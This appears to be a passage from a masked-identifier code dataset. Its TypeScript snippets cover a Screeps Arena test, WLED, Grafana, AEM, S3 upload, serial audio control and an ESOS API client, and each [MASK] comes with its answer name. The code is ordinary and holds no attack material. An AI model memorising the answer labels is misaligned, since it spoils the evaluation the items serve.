      const positions: Array<Creep | Flag> = [...enemyCreeps, enemyFlag];
      // $ExpectType (Creep | Flag)[]
      const findInRangeMultipleTypesOfPositions = myTower.findInRange(
        positions,
        1
      );
    }
  }

  // verification of arena score
  const scoreTestCreep = getObjectsByPrototype(Creep).find((i) => i.my);
  const scoreCollector = getObjectsByPrototype(ScoreCollector)[0];
  if (scoreTestCreep && scoreCollector) {
    const scoreStored = scoreTestCreep.store[RESOURCE_SCORE];
    scoreTestCreep.transfer(scoreCollector, RESOURCE_SCORE);

    // $ExpectType boolean
    const inControl = scoreCollector.my;

    scoreTestCreep.transfer(scoreCollector, RESOURCE_SCORE_X);
    scoreTestCreep.transfer(scoreCollector, RESOURCE_SCORE_Y);
    scoreTestCreep.transfer(scoreCollector, RESOURCE_SCORE_Z);
  }

  // $ExpectType AreaEffect[]
  const areaEffects = getObjectsByPrototype(AreaEffect);
  const freezeEffects = areaEffects.filter((x) => x.effect === EFFECT_FREEZE);
  const damageEffects = areaEffects.filter((x) => x.effect === EFFECT_DAMAGE);

  // build a rampart
  const rampart1 = createConstructionSite(10, 10, StructureRampart);
  const rampart2 = createConstructionSite(10, 10, prototypes.StructureRampart);
  rampart2.object?.structure; // $ExpectType StructureRampart | undefined
  // TODO: verify all buildable structure types

  const tower = createConstructionSite(10, 10, StructureTower);
  tower.object?.structure; // $ExpectType StructureTower | undefined
  tower.object?.structure.attack(enemyCreeps[0]);

  // overload of createConstructionSite
  createConstructionSite({ x: 10, y: 10 }, StructureRampart);
  if (myTower) {
    createConstructionSite(myTower, StructureRampart);
  }

  // TODO: test utils findXXX methods, theese methods are used by other metods.

  // Visuals
  const  [MASK]  = new Visual(10, true);
   [MASK] .clear().text(
    ""100"",
    { x: 25, y: 25 - 0.5 }, // above the creep
    {
      font: ""0.5"",
      opacity: 0.7,
      backgroundColor: ""#808080"",
      backgroundPadding: 0.03,
    }
  );
}
",layer10Persistant
956,"import axios from 'axios';
import { getWLEDEffect } from './wled-effects/get-wled-effect';
import { IndividualLEDSetting, LEDIndexColor, LEDRangeColor, SegmentData, WLEDEffect, SegmentEffectSettings, WLEDEffectByName, RGB } from './wled.types';

class WLEDAdapter {
    private baseUrl: string;

    constructor(ip: string) {
        this.baseUrl = `http://${ip}/json`;
    }

    async sendRequest(data: object) {
        try {
            console.log('WLED REQUEST', data);
            const response = await axios.post(this.baseUrl, data);
            return response.data;
        } catch (error) {
            console.error('Error sending request to WLED:', error);
            return null;
        }
    }

    async resetLEDStrip() {
        // Create a data object that turns off all segments, then turns them back on
        // This approach uses the 'nightlight' function temporarily to ensure a soft reset
        const data = {
            on: false, // Turn off the strip
            nl: { on: true, dur: 1, mode: 1 }  // Nightlight mode to quickly turn it back on
        };

        // First turn off the strip
        await this.sendRequest(data);

        // Optionally, reset to a default color or turn back on if needed
        const  [MASK]  = {
            on: true, // Ensure the strip is turned back on
            seg: [{ col: [[0, 0, 0]] }]  // Set all LEDs to black, effectively clearing any residual colors
        };

        // Send the reset command
        return this.sendRequest( [MASK] );
    }

    async setColor(colorData: RGB | IndividualLEDSetting | (LEDIndexColor | LEDRangeColor)[], brightness?: number, segmentId = 0, transition = 0) {
        let data: SegmentData;
        if (Array.isArray(colorData) && colorData.length === 3 && typeof colorData[0] === 'number') {
            const fullColor: RGB = colorData as RGB;
            data = {
                tt: transition,
                seg: [{
                    id: segmentId,
                    col: [fullColor],
                    bri: brightness,
                }]
            };
        } else if ('i' in colorData) {
            data = { seg: [{ id: segmentId, ...colorData, transition }] };
        } else {
            const settings: IndividualLEDSetting = { i: [] };
            colorData.forEach(item => {
                if (Array.isArray(item) && item.length === 2) {
                    const indexColor = item as LEDIndexColor;
                    settings.i.push(indexColor[0], indexColor[1].join(''));
                } else if (Array.isArray(item) && item.length === 3) {
                    const rangeColor = item as LEDRangeColor;
                    settings.i.push(rangeColor[0], rangeColor[1], rangeColor[2].join(''));
                }
            });
            data = { seg: [{ id: segmentId, ...settings, transition }] };
        }
        return this.sendRequest(data);
    }

    async setEffect(effect: WLEDEffect, segmentId = 0) {
        const { id, additionalParams } = effect;
        const effectData: SegmentEffectSettings = {
            id: segmentId,
            fx: id,
            sx: additionalParams?.speed,
            ix: additionalParams?.intensity,
            pal: additionalParams?.palette || 2,
            c1: additionalParams?.c1,
            c2: additionalParams?.c2,
            c3: additionalParams?.c3,
        };
        const data: SegmentData = { seg: [effectData] };
        return this.sendRequest(data);
    }

    async setEffectByName(effectByName: WLEDEffectByName, segmentId = 0) {
        const id = getWLEDEffect(effectByName.name);
        this.setEffect({
            id,
            ...effectByName,
        }, segmentId);
    }
 
    async setBrightness(brightness: number, segmentId?: number) {
        const data = {
            seg: [{
                id: segmentId,
                bri: brightness
            }]
        };
        return this.sendRequest(segmentId !== undefined ? data : {bri: brightness});
    }

    async toggleOnOff(on: boolean, segmentId?: number) {
        const data = {
            seg: [{
                id: segmentId,
                on: on
            }]
        };
        return this.sendRequest(segmentId !== undefined ? data : {on: on});
    }

    async getState() {
        try {
            const response = await axios.get(`${this.baseUrl}/state`);
            return response.data;
        } catch (error) {
            console.error('Error getting state from WLED:', error);
            return null;
        }
    }

    async getAllEffects() {
        try {
            const response = await axios.get(`${this.baseUrl}/effects`);
            return response.data;
        } catch (error) {
            console.error('Error fetching effects from WLED:', error);
            return null;
        }
    }
}

export default WLEDAdapter;
",resetData
957,"import { BackendSrvRequest, getBackendSrv } from '@grafana/runtime';
import cache from 'memory-cache';
import { Observable } from 'rxjs';
import { Pair } from 'types';

export default class Api {
  cache: any;
  baseUrl: string;
  params: URLSearchParams;
  lastCacheDuration: number | undefined;

  constructor(baseUrl: string, params: string) {
    this.baseUrl = baseUrl;
    this.params = new URLSearchParams('?' + params);
    this.cache = new cache.Cache();
  }

  /**
   * Queries the API and returns the response data.
   */
  async get(
    method: string,
    path: string,
    params?: Array<Pair<string, string>>,
    headers?: Array<Pair<string, string>>,
    body?: string
  ) {
    const paramsData: Record<string, string> = {};

    (params ?? []).forEach(([key, value]) => {
      if (key) {
        paramsData[key] = value;
      }
    });

    this.params.forEach((value, key) => {
      paramsData[key] = value;
    });

    const response = await this._request(method, path, paramsData, headers, body);

    return (await response.toPromise()).data;
  }

  /**
   * Used as a health check.
   */
  async test() {
    const data: Record<string, string> = {};

    this.params.forEach((value, key) => {
      data[key] = value;
    });

    return this._request('GET', '', data).toPromise();
  }

  /**
   * Returns a cached API response if it exists, otherwise queries the API.
   */
  async cachedGet(
     [MASK] : number,
    method: string,
    path: string,
    params: Array<Pair<string, string>>,
    headers?: Array<Pair<string, string>>,
    body?: string,
    refId?: string
  ) {
    if (refId !== 'B') {
      await this.get(method, path, params, headers, body);
    }

    const rawUrl = this.baseUrl + path;

    const force = this.lastCacheDuration !==  [MASK] ;

    if (force) {
      this.cache.del(rawUrl);
    }

    const cachedItem = this.cache.get(rawUrl);
    if (cachedItem && !force) {
      return Promise.resolve(cachedItem);
    }
    this.lastCacheDuration =  [MASK] ;

    const result = await this.get(method, path, params, headers, body);

    this.cache.put(rawUrl, result,  [MASK]  * 1000);

    return result;
  }

  /**
   * Make an API request using the data source configuration as defaults.
   * Allows the user to append a path, or override query parameters.
   *
   * @param path to append to URL
   * @param params to set as query parameters
   */
  _request(
    method: string,
    path: string,
    params?: Record<string, string>,
    headers?: Array<Pair<string, string>>,
    data?: string
  ): Observable<any> {
    const recordHeaders: Record<string, any> = {};

    (headers ?? [])
      .filter(([key, _]) => key)
      .forEach(([key, value]) => {
        recordHeaders[key] = value;
      });

    const req: BackendSrvRequest = {
      url: this.baseUrl + path,
      method,
      headers: recordHeaders,
    };

    if (req.method !== 'GET' && data) {
      req.data = data;
    }

    // Deduplicate forward slashes, i.e. /// becomes /. This enables sensible
    // defaults for empty variables.
    //
    // For example, `/orgs/${orgId}/list` becomes `/orgs/list` instead of
    // `/orgs//list`.
    req.url = req.url.replace(/[\/]+/g, '/');

    if (params && Object.keys(params).length > 0) {
      req.url =
        req.url +
        (req.url.search(/\?/) >= 0 ? '&' : '?') +
        Object.entries(params)
          .map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
          .join('&');
    }

    return getBackendSrv().fetch(req);
  }
}
",cacheDurationSeconds
958,"/* eslint-disable no-underscore-dangle */
import { ModelClient } from '@adobe/aem-spa-page-model-manager';

export default class LocalDevModelClient extends ModelClient {
  private authorizationHeader: string;

  constructor(apiHost: string, authorizationHeader: string) {
    super(apiHost);
    this.authorizationHeader = authorizationHeader;
  }

  fetch(modelPath: string) {
    if (!modelPath) {
      const err = `Fetching model rejected for path: ${modelPath}`;

      return Promise.reject(new Error(err));
    }

    // Either the API host has been provided or we make an absolute request relative to the current host
    const  [MASK]  = this.apiHost || '';
    const url = `${ [MASK] }${modelPath}`;

    return fetch(url, {
      credentials: 'same-origin',
      headers: {
        Authorization: this.authorizationHeader,
      },
    })
      .then((response) => {
        if (response.status >= 200 && response.status < 300) {
          return response.json();
        }

        return Promise.reject(response);
      })
      .catch((error) => Promise.reject(error));
  }
}
",apihostPrefix
959,"import { createPropertyImage, updateProperty } from ""@/services""
import { put } from ""@vercel/blob""
import { NextResponse } from ""next/server""
import {
	S3Client,
	PutObjectCommand,
	GetObjectCommand,
} from ""@aws-sdk/client-s3""

const bucketClient = new S3Client({
	region: process.env.S3_REGION || """",
	credentials: {
		accessKeyId: process.env.S3_ACCESS_KEY || """",
		secretAccessKey: process.env.S3_SECRET_KEY || """",
	},
})
const uploadFileToS3 = async (file: Buffer, filename: string) => {
	const key = `${Date.now()}-${filename}`
	const params = {
		Bucket: process.env.S3_BUCKET_NAME,
		Key: key,
		Body: file,
		ContentType: ""image/jpeg"",
	}
	const  [MASK]  = new PutObjectCommand(params)
	await bucketClient.send( [MASK] )
	const url = `https://${process.env.S3_BUCKET_NAME}.s3.${process.env.S3_REGION}.amazonaws.com/${key}`
	const response = {
		filename: key,
		url,
	}
	return response
}
const getFileFromS3 = async (key: string) => {
	const { Body } = await bucketClient.send(
		new GetObjectCommand({
			Bucket: process.env.S3_BUCKET_NAME,
			Key: key,
		})
	)
	return Body?.transformToByteArray()
}

export async function POST(request: Request): Promise<NextResponse> {
	const { searchParams } = new URL(request.url)
	const propertyId = searchParams.get(""propertyId"")
	const ext = searchParams.get(""type"")
	const face = searchParams.get(""face"")

	if (request.body) {
		const buffer = Buffer.from(await request.arrayBuffer())
		const response = await uploadFileToS3(buffer, `file.${ext || ""jpg""}`)

		const newImage = await createPropertyImage({
			name: response.filename,
			description: """",
			path: response.url,
			propertyId: parseInt(propertyId || ""0""),
		})
		if (face == ""1"") {
			await updateProperty(parseInt(propertyId || ""0""), {
				thumbnail: response.url,
			})
		}
		return NextResponse.json(response)
	}

	return NextResponse.json({ message: ""nothing"" })
}
",command
960,"import { Logger } from 'homebridge'; //purely for types
import SerialPort from 'serialport';

export class Essentia {

    readonly port: SerialPort;

    readonly parser: SerialPort.parsers.Readline;

    readonly serialPortPath: string;

    readonly baudRate: number;

    readonly cmdDelay: number;

    readonly log: Logger;

    private commandQueue: unknown[] = [];

    private commandRunning = false;

    private currentCommand;

    constructor({
      serialPortPath = '/dev/ttyUSB0',
      baudRate = 9600,
      cmdDelay = 100,
      log,
    }){

      this.log = log;
      this.serialPortPath = serialPortPath;
      this.baudRate = baudRate;
      this.cmdDelay = cmdDelay;

      this.port = new SerialPort(this.serialPortPath, {
        autoOpen:false,
        baudRate:this.baudRate,
      });

      this.port.on('open', () => {
        this.log.info('Serial port open...');
      });

      this.port.on('error', (err) => {
        this.log.error('Error on serial port:');
        this.currentCommand.reject(err);
        this.commandRunning = false;
        this.processCommandQueue();
      });

      this.parser = this.port.pipe(new SerialPort.parsers.Readline({ delimiter: '\r' }));

      this.parser.on('data', data => {
        this.log.debug('Data recevied on serial port:' + data);
        this.currentCommand.resolve(data);
        this.commandRunning = false;
        this.processCommandQueue();
      });

      //open the serial port
      this.port.open();

    }

    processCommandQueue(){

      if(this.commandQueue.length){

        this.currentCommand = this.commandQueue.shift();
        this.commandRunning = true;

        const cmd = this.currentCommand.cmd;

        setTimeout(() => {
          this.log.debug('Sending queued command ' + cmd);
          this.port.write(cmd);
        }, this.cmdDelay);

      }

    }

    queueCommand(cmd :string){

      this.log.debug('There are ' + this.commandQueue.length + ' queued commands');

      const promise = new Promise<string>((resolve, reject) => {
        this.commandQueue.push({
          cmd:cmd,
          resolve:resolve,
          reject:reject,
        });
      });

      if(!this.commandRunning){
        this.processCommandQueue();
      }

      return promise;

    }

    parseConnectionSR(status: string){

      const parts = status.split(',');

      return{
        zone: parts[0].substr(2, 3),   // zone number with leading zero from 1 to 12
        power: parts[0].substr(7, 9),  // "" ON"" or ""OFF""
        source: parts[1][3],           // source number
        group: parts[2][3],            // source group number
        volume: parts[3].substr(4, 5), // can be 00 to 79 (level below max dB), MT (mute), or XT (external mute)
      };

    }

    parseZoneSetSR(status: string){

      const parts = status.split(',');

      return{
        zone: parts[0].substr(2, 3),   // zone number with leading zero from 1 to 12
        bass: parts[1].substr(4, 5),   // -8 to +8
        treble: parts[1][3],           // -8 to +8
        source: parts[2][3],           // source group number
      };

    }

    async getZoneStatus(zoneId :number): Promise<string> {
      this.log.debug('Getting zone status for ' + zoneId);
      const cmd = `*Z0${zoneId}CONSR\r`;
      return await this.queueCommand(cmd);
    }

    async isZoneOn(zoneId :number): Promise<boolean> {
      const result = await this.getZoneStatus(zoneId);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.power);
      return status.power.trim() === 'ON';
    }

    async turnOnZone(zoneId :number): Promise<boolean>{
      this.log.debug('Turning on zone ' + zoneId);
      const cmd = `*Z0${zoneId}ON\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.power);
      return status.power.trim() === 'ON';
    }

    async turnOffZone(zoneId :number): Promise<boolean>{
      this.log.debug('Turning off zone ' + zoneId);
      const cmd = `*Z0${zoneId}OFF\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.power);
      return status.power === 'OFF';
    }

    async isZoneMuted(zoneId :number): Promise<boolean> {
      const result = await this.getZoneStatus(zoneId);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.volume);
      return status.volume === 'MT';
    }

    async isZoneUnmuted(zoneId :number): Promise<boolean> {
      const result = await this.getZoneStatus(zoneId);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.volume);
      return status.volume !== 'MT';
    }

    async muteZone(zoneId :number): Promise<boolean>{
      this.log.debug('Muting zone ' + zoneId);
      const cmd = `*Z0${zoneId}MTON\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.volume);
      return status.volume === 'MT';
    }

    async unmuteZone(zoneId :number): Promise<boolean>{
      this.log.debug('Unmuting zone ' + zoneId);
      const cmd = `*Z0${zoneId}MTOFF\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseConnectionSR(result);
      this.log.debug(status.volume);
      return status.volume !== 'MT';
    }

    async setVolume(zoneId :number, volume :number): Promise<boolean>{
      const level = String(volume).padStart(2, '0').replace('-', '');
      this.log.debug(`Setting volume of zone ${zoneId} to ${level}`);
      const cmd = `*Z0${zoneId}VOL${level}\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseConnectionSR(result);
      this.log.debug(`Volume for zone ${zoneId} is now ${status.volume}`);
      return parseInt(status.volume, 10) === volume;
    }

    async setBass(zoneId :number, bass :number): Promise<boolean>{
      let level = bass >= 0 ? '+' : '';
      level += String(bass).padStart(2, '0');
      this.log.debug(`Setting bass of zone ${zoneId} to ${level}`);
      const cmd = `*Z0${zoneId}BASS${level}\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseZoneSetSR(result);
      this.log.debug(`Bass for zone ${zoneId} is now ${status.bass}`);
      return parseInt(status.bass, 10) === bass;
    }

    async setTreble(zoneId :number, treble :number): Promise<boolean>{
      let level = treble >= 0 ? '+' : '';
      level += String(treble).padStart(2, '0');
      this.log.debug(`Setting treble of zone ${zoneId} to ${level}`);
      const cmd = `*Z0${zoneId}TREB${level}\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseZoneSetSR(result);
      this.log.debug(`Treble for zone ${zoneId} is now ${status.treble}`);
      return parseInt(status.treble, 10) === treble;
    }

    async setSource(zoneId :number,  [MASK]  :number): Promise<boolean>{
      this.log.debug(`Setting source of zone ${zoneId} to ${ [MASK] }`);
      const cmd = `*Z0${zoneId}SRC${ [MASK] }\r`;
      const result = await this.queueCommand(cmd);
      const status = this.parseConnectionSR(result);
      this.log.debug(`Source of zone ${zoneId} is now ${status.source}`);
      return parseInt(status.source, 10) ===  [MASK] ;
    }

}
",sourceId
961,"import { RouterId } from 'src/domain/router.id';
import { RouterType } from 'src/domain/router.type';
import { Predicate } from 'src/utils/types';

export class Router {
  public constructor(private readonly _routerType: RouterType, private readonly _routerId: RouterId) {}

  public static filterRouterByType(routerType: RouterType): Predicate<Router> {
    return routerType === RouterType.CORE ? this.isCore : this.isEdge;
  }
  public static isCore: Predicate<Router> = (r) => r.getRouterType() === RouterType.CORE;

  public static isEdge: Predicate<Router> = (r) => r.getRouterType() === RouterType.EDGE;

  public static retrieveRouter(routers: Router[],  [MASK] : Predicate<Router>): Router[] {
    return routers.filter( [MASK] );
  }

  public getRouterType(): RouterType {
    return this._routerType;
  }

  public toString(): string {
    return `Router { type: ${RouterType[this._routerType]}, id: ${this._routerId.toString()} }`;
  }
}
",predicate
962,"/**
 * ESOS API Documentation
 * ESOS API Documentation
 *
 * The version of the OpenAPI document: uk-esos-app-api 0.81.0-SNAPSHOT
 *
 *
 * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
 * https://openapi-generator.tech
 * Do not edit the class manually.
 */
import { HttpClient, HttpEvent, HttpHeaders, HttpParameterCodec, HttpParams, HttpResponse } from '@angular/common/http';
import { Inject, Injectable, Optional } from '@angular/core';

import { Observable } from 'rxjs';

import { Configuration } from '../configuration';
import { CustomHttpParameterCodec } from '../encoder';
import { AccountNoteDto } from '../model/accountNoteDto';
import { AccountNoteRequest } from '../model/accountNoteRequest';
import { AccountNoteResponse } from '../model/accountNoteResponse';
import { FileToken } from '../model/fileToken';
import { FileUuidDTO } from '../model/fileUuidDTO';
import { NoteRequest } from '../model/noteRequest';
import { BASE_PATH } from '../variables';

@Injectable({
  providedIn: 'root',
})
export class AccountNotesService {
  protected basePath = 'http://localhost:8080/api';
  public defaultHeaders = new HttpHeaders();
  public configuration = new Configuration();
  public encoder: HttpParameterCodec;

  constructor(
    protected httpClient: HttpClient,
    @Optional() @Inject(BASE_PATH) basePath: string,
    @Optional() configuration: Configuration,
  ) {
    if (configuration) {
      this.configuration = configuration;
    }
    if (typeof this.configuration.basePath !== 'string') {
      if (typeof basePath !== 'string') {
        basePath = this.basePath;
      }
      this.configuration.basePath = basePath;
    }
    this.encoder = this.configuration.encoder || new CustomHttpParameterCodec();
  }

  /**
   * @param consumes string[] mime-types
   * @return true: consumes contains 'multipart/form-data', false: otherwise
   */
  private canConsumeForm(consumes: string[]): boolean {
    const form = 'multipart/form-data';
    for (const consume of consumes) {
      if (form === consume) {
        return true;
      }
    }
    return false;
  }

  private addToHttpParams(httpParams: HttpParams, value: any, key?: string): HttpParams {
    if (typeof value === 'object' && value instanceof Date === false) {
      httpParams = this.addToHttpParamsRecursive(httpParams, value);
    } else {
      httpParams = this.addToHttpParamsRecursive(httpParams, value, key);
    }
    return httpParams;
  }

  private addToHttpParamsRecursive(httpParams: HttpParams, value?: any, key?: string): HttpParams {
    if (value == null) {
      return httpParams;
    }

    if (typeof value === 'object') {
      if (Array.isArray(value)) {
        (value as any[]).forEach((elem) => (httpParams = this.addToHttpParamsRecursive(httpParams, elem, key)));
      } else if (value instanceof Date) {
        if (key != null) {
          httpParams = httpParams.append(key, (value as Date).toISOString().substr(0, 10));
        } else {
          throw Error('key may not be null if value is Date');
        }
      } else {
        Object.keys(value).forEach(
          (k) => (httpParams = this.addToHttpParamsRecursive(httpParams, value[k], key != null ? `${key}.${k}` : k)),
        );
      }
    } else if (key != null) {
      httpParams = httpParams.append(key, value);
    } else {
      throw Error('key may not be null if value is not object or array');
    }
    return httpParams;
  }

  /**
   * Creates a new account note
   * @param accountNoteRequest
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public createAccountNote(accountNoteRequest: AccountNoteRequest): Observable<any>;
  public createAccountNote(
    accountNoteRequest: AccountNoteRequest,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<any>>;
  public createAccountNote(
    accountNoteRequest: AccountNoteRequest,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpEvent<any>>;
  public createAccountNote(
    accountNoteRequest: AccountNoteRequest,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any>;
  public createAccountNote(
    accountNoteRequest: AccountNoteRequest,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (accountNoteRequest === null || accountNoteRequest === undefined) {
      throw new Error('Required parameter accountNoteRequest was null or undefined when calling createAccountNote.');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    // to determine the Content-Type header
    const consumes: string[] = ['application/json'];
    const httpContentTypeSelected: string | undefined = this.configuration.selectHeaderContentType(consumes);
    if (httpContentTypeSelected !== undefined) {
      headers = headers.set('Content-Type', httpContentTypeSelected);
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.post<any>(`${this.configuration.basePath}/v1.0/account-notes`, accountNoteRequest, {
      responseType: <any>responseType_,
      withCredentials: this.configuration.withCredentials,
      headers: headers,
      observe: observe,
      reportProgress: reportProgress,
    });
  }

  /**
   * Delete an account note
   * @param id The note id
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public deleteAccountNote(id: number): Observable<any>;
  public deleteAccountNote(
    id: number,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<any>>;
  public deleteAccountNote(
    id: number,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpEvent<any>>;
  public deleteAccountNote(
    id: number,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any>;
  public deleteAccountNote(
    id: number,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (id === null || id === undefined) {
      throw new Error('Required parameter id was null or undefined when calling deleteAccountNote.');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.delete<any>(
      `${this.configuration.basePath}/v1.0/account-notes/${encodeURIComponent(String(id))}`,
      {
        responseType: <any>responseType_,
        withCredentials: this.configuration.withCredentials,
        headers: headers,
        observe: observe,
        reportProgress: reportProgress,
      },
    );
  }

  /**
   * Generate the token to get the file that belongs to the provided account note id
   * @param accountId The account id
   * @param uuid The note file uuid
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public generateGetAccountFileNoteToken(accountId: number, uuid: string): Observable<FileToken>;
  public generateGetAccountFileNoteToken(
    accountId: number,
    uuid: string,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<FileToken>>;
  public generateGetAccountFileNoteToken(
    accountId: number,
    uuid: string,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpEvent<FileToken>>;
  public generateGetAccountFileNoteToken(
    accountId: number,
    uuid: string,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<FileToken>;
  public generateGetAccountFileNoteToken(
    accountId: number,
    uuid: string,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (accountId === null || accountId === undefined) {
      throw new Error(
        'Required parameter accountId was null or undefined when calling generateGetAccountFileNoteToken.',
      );
    }
    if (uuid === null || uuid === undefined) {
      throw new Error('Required parameter uuid was null or undefined when calling generateGetAccountFileNoteToken.');
    }

    let queryParameters = new HttpParams({ encoder: this.encoder });
    if (uuid !== undefined && uuid !== null) {
      queryParameters = this.addToHttpParams(queryParameters, <any>uuid, 'uuid');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.get<FileToken>(
      `${this.configuration.basePath}/v1.0/account-notes/${encodeURIComponent(String(accountId))}/files`,
      {
        params: queryParameters,
        responseType: <any>responseType_,
        withCredentials: this.configuration.withCredentials,
        headers: headers,
        observe: observe,
        reportProgress: reportProgress,
      },
    );
  }

  /**
   * Get an account note
   * @param id The note id
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public getAccountNote(id: number): Observable<AccountNoteDto>;
  public getAccountNote(
    id: number,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<AccountNoteDto>>;
  public getAccountNote(
    id: number,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpEvent<AccountNoteDto>>;
  public getAccountNote(
    id: number,
    observe: 'body',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<AccountNoteDto>;
  public getAccountNote(
    id: number,
    observe: any = 'body',
    reportProgress: boolean = false,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<any> {
    if (id === null || id === undefined) {
      throw new Error('Required parameter id was null or undefined when calling getAccountNote.');
    }

    let headers = this.defaultHeaders;

    // authentication (bearerAuth) required
    const credential = this.configuration.lookupCredential('bearerAuth');
    if (credential) {
      headers = headers.set('Authorization', 'Bearer ' + credential);
    }

    let httpHeaderAcceptSelected: string | undefined = options && options.httpHeaderAccept;
    if (httpHeaderAcceptSelected === undefined) {
      // to determine the Accept header
      const httpHeaderAccepts: string[] = ['application/json'];
      httpHeaderAcceptSelected = this.configuration.selectHeaderAccept(httpHeaderAccepts);
    }
    if (httpHeaderAcceptSelected !== undefined) {
      headers = headers.set('Accept', httpHeaderAcceptSelected);
    }

    let responseType_: 'text' | 'json' = 'json';
    if (httpHeaderAcceptSelected && httpHeaderAcceptSelected.startsWith('text')) {
      responseType_ = 'text';
    }

    return this.httpClient.get<AccountNoteDto>(
      `${this.configuration.basePath}/v1.0/account-notes/${encodeURIComponent(String(id))}`,
      {
        responseType: <any>responseType_,
        withCredentials: this.configuration.withCredentials,
        headers: headers,
        observe: observe,
        reportProgress: reportProgress,
      },
    );
  }

  /**
   * Retrieves the notes for account id
   * @param accountId The account id
   * @param page The page number starting from zero
   * @param size The page size
   * @param observe set whether or not to return the data Observable as the body, response or events. defaults to returning the body.
   * @param reportProgress flag to report request and response progress.
   */
  public getNotesByAccountId(accountId: number, page: number, size: number): Observable<AccountNoteResponse>;
  public getNotesByAccountId(
    accountId: number,
    page: number,
    size: number,
    observe: 'response',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
  ): Observable<HttpResponse<AccountNoteResponse>>;
  public getNotesByAccountId(
    accountId: number,
    page: number,
    size: number,
    observe: 'events',
    reportProgress?: boolean,
    options?: { httpHeaderAccept?: 'application/json' },
